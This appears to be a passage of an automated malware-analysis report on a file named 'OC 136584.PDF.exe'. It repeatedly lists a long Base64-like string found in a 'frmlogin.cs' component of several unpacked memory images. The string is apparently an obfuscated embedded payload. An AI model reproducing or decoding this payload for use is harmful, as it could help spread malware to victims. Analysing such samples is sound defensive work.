z8kNNNXTAbZSt0eUjpPPEuiCtNNPu8DXQ8NNNbbDNNNPz9ONNNXWtxL1t0WPQUqO29PNNNXPvfNOvbNNOZjNDNUNNNNQDNNRDNHPvfNOvcTNNVJztVKztVLzvtENNNTNPbNNNNGZNZNVNNNNN4NNORNsttNNNE+PDNNOU4XNNNRXORNNNLNpwfNNUNXXjNTXuZjNtNFNNNNQjNNRDNPNluQNNNXXRDNNNbXXjNTXtNNRmNONNjNNNNDNNNENNVbEDNNPtbeNNLdRmNONONNNNNENNNENANWNNNPXPRNNNbXXjNTXuZjNDNZNNNNQtNNRDNPXRLNNNbXXjNTXuZjNtNqNNNNRtNNRDNPwNLNNOfH/tRYOljVXNRNNPfXXjHNNtbeNNLdWtNQ/uHTNNNoXvLNNvtzNNNXNPbNNNNGZNVNADNNNOZNNORNNagVNNNXo0xNNNbYO4jWNNNoSC4OQNtfSPtPNNNePjW7FNNNPtqiFtNNPtNNNNpXXjNTXyVNNvtzNNNXNNWmFjNNPa1VNNNXXv4bTNNNObNZNNNRXu4PXPLNNNbdNNOPH0cPNDNONNNNNNNZNNNNqwVhZP41ZQplAjNNNNNSNTjNNNPbPDNNV34NNODXNNOjPDNNV1A0pzyhM3ZNNNNNuOZNNTDNNNNwIIZN6OZNNONNNNNwE1IWENNNNCtGNNQ0ONNNV0Wfo2VNNNNNNNNNNtNNNIpIbtxWQjNNNCbOZjNJNNNONNNNBDNNNNfNNNNZNNNNVjNNNORNNNOYNNNNCjNNNOZNNNNTNNNNPtNNNNjNNNNWNNNNNDNNNNDNNNNONNNNNjNNNNZNNNNPNNNNNNNZODRNNNNNNNLNdtBJOjLNSjFJOjLNztYZOt8NQttNNNLN2jXzODLNwDBzODLN/tBzODLNltBzODLN4jBzODL
Source: 0.2.OC 136584.PDF.exe.140000.0.unpack, frmlogin.cs	Base64 encoded string: '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
Source: 0.0.OC 136584.PDF.exe.140000.0.unpack, frmlogin.cs	Base64 encoded string: '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
Source: 3.2.OC 136584.PDF.exe.190000.0.unpack, frmlogin.cs	Base64 encoded string: 'GIdDNNZNNNNRNNNN//8NNYtNNNNNNNNNDNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNtNNNNN4sht4NgNaAVotOGZ0uITucplOjpz9apzSgVTAuoz5iqPOvMFOlqJ4tnJ4tER9GVT1iMTHhQD0XWNNNNNNNNNODEDNNGNRQNViu868NNNNNNNNNNBNNNvRYNINNNPNNNNNTNNNNNNNNlw8NNNNtNNNNDNNNNNNNRDNtNNNNNtNNONNNNNNNNNNRNNNNNNNNNNPNNNNNNtNNNNNNNNZNDVHNNONNNONNNNNNRNNNRNNNNNNNNONNNNNNNNNNNNNNNUt/NNOCNNNNNRNNNBDQNNNNNNNNNNNNNNNNNNNNNNNNNTNNNNjNNNOpCjNNUNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNVNNNPNNNNNNNNNNNNNNNPPNNNRtNNNNNNNNNNNNNNP50MKu0NNNN0O8NNNNtNNNNVNNNNNVNNNNNNNNNNNNNNNNNNPNNNTNhpaAlLjNNNBDQNNNNDNNNNNDNNNNvNNNNNNNNNNNNNNNNNNONNNONYaWyoT9wNNNZNNNNNTNNNNNPNNNNWtNNNNNNNNNNNNNNNNNNDNNNDtNNNNNNNNNNNNNNNNNNNNPfCjNNNNNNNRtNNNNPNNHNhPHNNBjLNNNQNNNNNNNNNXD+NNP4NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNO4PXOLNNNbdWtNPXOpNNNbNXdMmTNNNPbNONNNRpkxNNNdNNtNNOUZnNNNXtNZNNNEmTjNNPbNRNNNRXuZjNDNDNNNNNDNNRDO+NDNNOT8pNNNXPvfNOvbGZNRNRNNNNNVNNORNstVNNNEiUDNNPtbeNNLdRmNONONNNNNQNNNENU4QNNNRok4NNNbXXjNTXuZjNDNDNNNNONNNRDO+ONNNOT8sNNNXPvfNOvbGZNVNCNNNNNHNNORNstHNNNDHXPNNNNbYOljuptRNNUQDODNNNvtuNNNXolVNNNcmVjNNPtjVtNHNNNDNNU4SNNNRPvfNOvbGZNRNPjNNNNLNNORNstLNNNDXXjNTXvVNNbNTNNNRXyMmQNNNOvtxNNNXqNLNNNXNOjNNOPbrNvtyNNNXXtNNRmNONNfNNNNUNNNENU4UNNNRPvfNOvbNRmNONNfNNNNUNNNENPtANNNTPvfNOvc+pwfNNUPNPNNNOUV7NNOjtNxNNNElBjNNpVNXNNNRXxbNNvtzNNNXNNZROFtENNNTNPbNNOZjONO0NNNNPNNNRDOmWjNNPtbTVYvPNDNtXWbONT8bNNNXXPxNNNbNNvtINNNTOPtHNNNTPjpbRjNNOtZbSDNNOvtFNNNTQNtbXtNNPt0WolfNNNbqzuZRRDEiYNNNPuhnRjHEOKV9NNOjTOvAStNNNFtgNNNXWuLbYtNNPtNdRmNSNWpNNNNWNNNENPtiNNNXN28jNNNXPjVPwzxK2cRspTRZNb5cS9LK2usJwF8NNNRANb5cS9bGOORRRjHJRjLeBtxEOtVEOcRVLDpEO5SugWjEOjAiZDNNPusn/tRGPORVRjxEPFjTSuZUNPfVNORUS9LGOjNEOusJRjLEOuRSZpNWNb5cTAbK1usnS9nAYjNNNFtlNNNXqNHNNOfXXjNTXtNGZNHNctNNNNbNNORNStfPomZNNNbGOkVUXQDNNNbZPNwLTgtAPEsnS9nAYjNNNEZRPOsnRjtJRjxeDjtK2uZXSuZYXl0PRDxEP281NNNXRjjFQPt2NNNXXQpNNNbJRDDUTvt4NNNXNNpn1tfEPksJRjfEPkRXZp0EPEsJRjxEPERVZopEOOLbBDNNPuZSRDHK2usJwF8NNNRGOuRRTuRTSuRTwzxbBNNNPtNEOtbeNNLdNNNGZNVNXNNNNNfNNORNN3WYNNOjXQbNNNbbBjNNPaZwNNNXPjpPomjNNNc0VtNNNDbeNNLdRmNRNRbNNNNZNNNENNWiZDNNPuuopm0NNNbYNz8kNNNXTAbZSt0eUjpPPEuiCtNNPu8DXQ8NNNbbDNNNPz9ONNNXWtxL1t0WPQUqO29PNNNXPvfNOvbNNOZjNDNUNNNNQDNNRDNHPvfNOvcTNNVJztVKztVLzvtENNNTNPbNNNNGZNZNVNNNNN4NNORNsttNNNE+PDNNOU4XNNNRXORNNNLNpwfNNUNXXjNTXuZjNtNFNNNNQjNNRDNPNluQNNNXXRDNNNbXXjNTXtNNRmNONNjNNNNDNNNENNVbEDNNPtbeNNLdRmNONONNNNNENNNENANWNNNPXPRNNNbXXjNTXuZjNDNZNNNNQtNNRDNPXRLNNNbXXjNTXuZjNtNqNNNNRtNNRDNPwNLNNOfH/tRYOljVXNRNNPfXXjHNNtbeNNLdWtNQ/uHTNNNoXvLNNvtzNNNXNPbNNNNGZNVNADNNNOZNNORNNagVNNNXo0xNNNbYO4jWNNNoSC4OQNtfSPtPNNNePjW7FNNNPtqiFtNNPtNNNNpXXjNTXyVNNvtzNNNXNNWmFjNNPa1VNNNXXv4bTNNNObNZNNNRXu4PXPLNNNbdNNOPH0cPNDNONNNNNNNZNNNNqwVhZP41ZQplAjNNNNNSNTjNNNPbPDNNV34NNODXNNOjPDNNV1A0pzyhM3ZNNNNNuOZNNTDNNNNwIIZN6OZNNONNNNNwE1IWENNNNCtGNNQ0ONNNV0Wfo2VNNNNNNNNNNtNNNIpIbtxWQjNNNCbOZjNJNNNONNNNBDNNNNfNNNNZNNNNVjNNNORNNNOYNNNNCjNNNOZNNNNTNNNNPtNNNNjNNNNWNNNNNDNNNNDNNNNONNNNNjNNNNZNNNNPNNNNNNNZODRNNNNNNNLNdtBJOjLNSjFJOjLNztYZOt8NQttNNNLN2jXzODLNwDBzODLN/tBzODLNltBzODLN4jBzODL
Source: 3.0.OC 136584.PDF.exe.190000.0.unpack, frmlogin.cs	Base64 encoded string: 'GIdDNNZNNNNRNNNN//8NNYtNNNNNNNNNDNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNtNNNNN4sht4NgNaAVotOGZ0uITucplOjpz9apzSgVTAuoz5iqPOvMFOlqJ4tnJ4tER9GVT1iMTHhQD0XWNNNNNNNNNODEDNNGNRQNViu868NNNNNNNNNNBNNNvRYNINNNPNNNNNTNNNNNNNNlw8NNNNtNNNNDNNNNNNNRDNtNNNNNtNNONNNNNNNNNNRNNNNNNNNNNPNNNNNNtNNNNNNNNZNDVHNNONNNONNNNNNRNNNRNNNNNNNNONNNNNNNNNNNNNNNUt/NNOCNNNNNRNNNBDQNNNNNNNNNNNNNNNNNNNNNNNNNTNNNNjNNNOpCjNNUNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNVNNNPNNNNNNNNNNNNNNNPPNNNRtNNNNNNNNNNNNNNP50MKu0NNNN0O8NNNNtNNNNVNNNNNVNNNNNNNNNNNNNNNNNNPNNNTNhpaAlLjNNNBDQNNNNDNNNNNDNNNNvNNNNNNNNNNNNNNNNNNONNNONYaWyoT9wNNNZNNNNNTNNNNNPNNNNWtNNNNNNNNNNNNNNNNNNDNNNDtNNNNNNNNNNNNNNNNNNNNPfCjNNNNNNNRtNNNNPNNHNhPHNNBjLNNNQNNNNNNNNNXD+NNP4NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNO4PXOLNNNbdWtNPXOpNNNbNXdMmTNNNPbNONNNRpkxNNNdNNtNNOUZnNNNXtNZNNNEmTjNNPbNRNNNRXuZjNDNDNNNNNDNNRDO+NDNNOT8pNNNXPvfNOvbGZNRNRNNNNNVNNORNstVNNNEiUDNNPtbeNNLdRmNONONNNNNQNNNENU4QNNNRok4NNNbXXjNTXuZjNDNDNNNNONNNRDO+ONNNOT8sNNNXPvfNOvbGZNVNCNNNNNHNNORNstHNNNDHXPNNNNbYOljuptRNNUQDODNNNvtuNNNXolVNNNcmVjNNPtjVtNHNNNDNNU4SNNNRPvfNOvbGZNRNPjNNNNLNNORNstLNNNDXXjNTXvVNNbNTNNNRXyMmQNNNOvtxNNNXqNLNNNXNOjNNOPbrNvtyNNNXXtNNRmNONNfNNNNUNNNENU4UNNNRPvfNOvbNRmNONNfNNNNUNNNENPtANNNTPvfNOvc+pwfNNUPNPNNNOUV7NNOjtNxNNNElBjNNpVNXNNNRXxbNNvtzNNNXNNZROFtENNNTNPbNNOZjONO0NNNNPNNNRDOmWjNNPtbTVYvPNDNtXWbONT8bNNNXXPxNNNbNNvtINNNTOPtHNNNTPjpbRjNNOtZbSDNNOvtFNNNTQNtbXtNNPt0WolfNNNbqzuZRRDEiYNNNPuhnRjHEOKV9NNOjTOvAStNNNFtgNNNXWuLbYtNNPtNdRmNSNWpNNNNWNNNENPtiNNNXN28jNNNXPjVPwzxK2cRspTRZNb5cS9LK2usJwF8NNNRANb5cS9bGOORRRjHJRjLeBtxEOtVEOcRVLDpEO5SugWjEOjAiZDNNPusn/tRGPORVRjxEPFjTSuZUNPfVNORUS9LGOjNEOusJRjLEOuRSZpNWNb5cTAbK1usnS9nAYjNNNFtlNNNXqNHNNOfXXjNTXtNGZNHNctNNNNbNNORNStfPomZNNNbGOkVUXQDNNNbZPNwLTgtAPEsnS9nAYjNNNEZRPOsnRjtJRjxeDjtK2uZXSuZYXl0PRDxEP281NNNXRjjFQPt2NNNXXQpNNNbJRDDUTvt4NNNXNNpn1tfEPksJRjfEPkRXZp0EPEsJRjxEPERVZopEOOLbBDNNPuZSRDHK2usJwF8NNNRGOuRRTuRTSuRTwzxbBNNNPtNEOtbeNNLdNNNGZNVNXNNNNNfNNORNN3WYNNOjXQbNNNbbBjNNPaZwNNNXPjpPomjNNNc0VtNNNDbeNNLdRmNRNRbNNNNZNNNENNWiZDNNPuuopm0NNNbYNz8kNNNXTAbZSt0eUjpPPEuiCtNNPu8DXQ8NNNbbDNNNPz9ONNNXWtxL1t0WPQUqO29PNNNXPvfNOvbNNOZjNDNUNNNNQDNNRDNHPvfNOvcTNNVJztVKztVLzvtENNNTNPbNNNNGZNZNVNNNNN4NNORNsttNNNE+PDNNOU4XNNNRXORNNNLNpwfNNUNXXjNTXuZjNtNFNNNNQjNNRDNPNluQNNNXXRDNNNbXXjNTXtNNRmNONNjNNNNDNNNENNVbEDNNPtbeNNLdRmNONONNNNNENNNENANWNNNPXPRNNNbXXjNTXuZjNDNZNNNNQtNNRDNPXRLNNNbXXjNTXuZjNtNqNNNNRtNNRDNPwNLNNOfH/tRYOljVXNRNNPfXXjHNNtbeNNLdWtNQ/uHTNNNoXvLNNvtzNNNXNPbNNNNGZNVNADNNNOZNNORNNagVNNNXo0xNNNbYO4jWNNNoSC4OQNtfSPtPNNNePjW7FNNNPtqiFtNNPtNNNNpXXjNTXyVNNvtzNNNXNNWmFjNNPa1VNNNXXv4bTNNNObNZNNNRXu4PXPLNNNbdNNOPH0cPNDNONNNNNNNZNNNNqwVhZP41ZQplAjNNNNNSNTjNNNPbPDNNV34NNODXNNOjPDNNV1A0pzyhM3ZNNNNNuOZNNTDNNNNwIIZN6OZNNONNNNNwE1IWENNNNCtGNNQ0ONNNV0Wfo2VNNNNNNNNNNtNNNIpIbtxWQjNNNCbOZjNJNNNONNNNBDNNNNfNNNNZNNNNVjNNNORNNNOYNNNNCjNNNOZNNNNTNNNNPtNNNNjNNNNWNNNNNDNNNNDNNNNONNNNNjNNNNZNNNNPNNNNNNNZODRNNNNNNNLNdtBJOjLNSjFJOjLNztYZOt8NQttNNNLN2jXzODLNwDBzODLN/tBzODLNltBzODLN4jBzODL
Source: 4.0.OC 136584.PDF.exe.10000.0.unpack, frmlogin.cs	Base64 encoded string: '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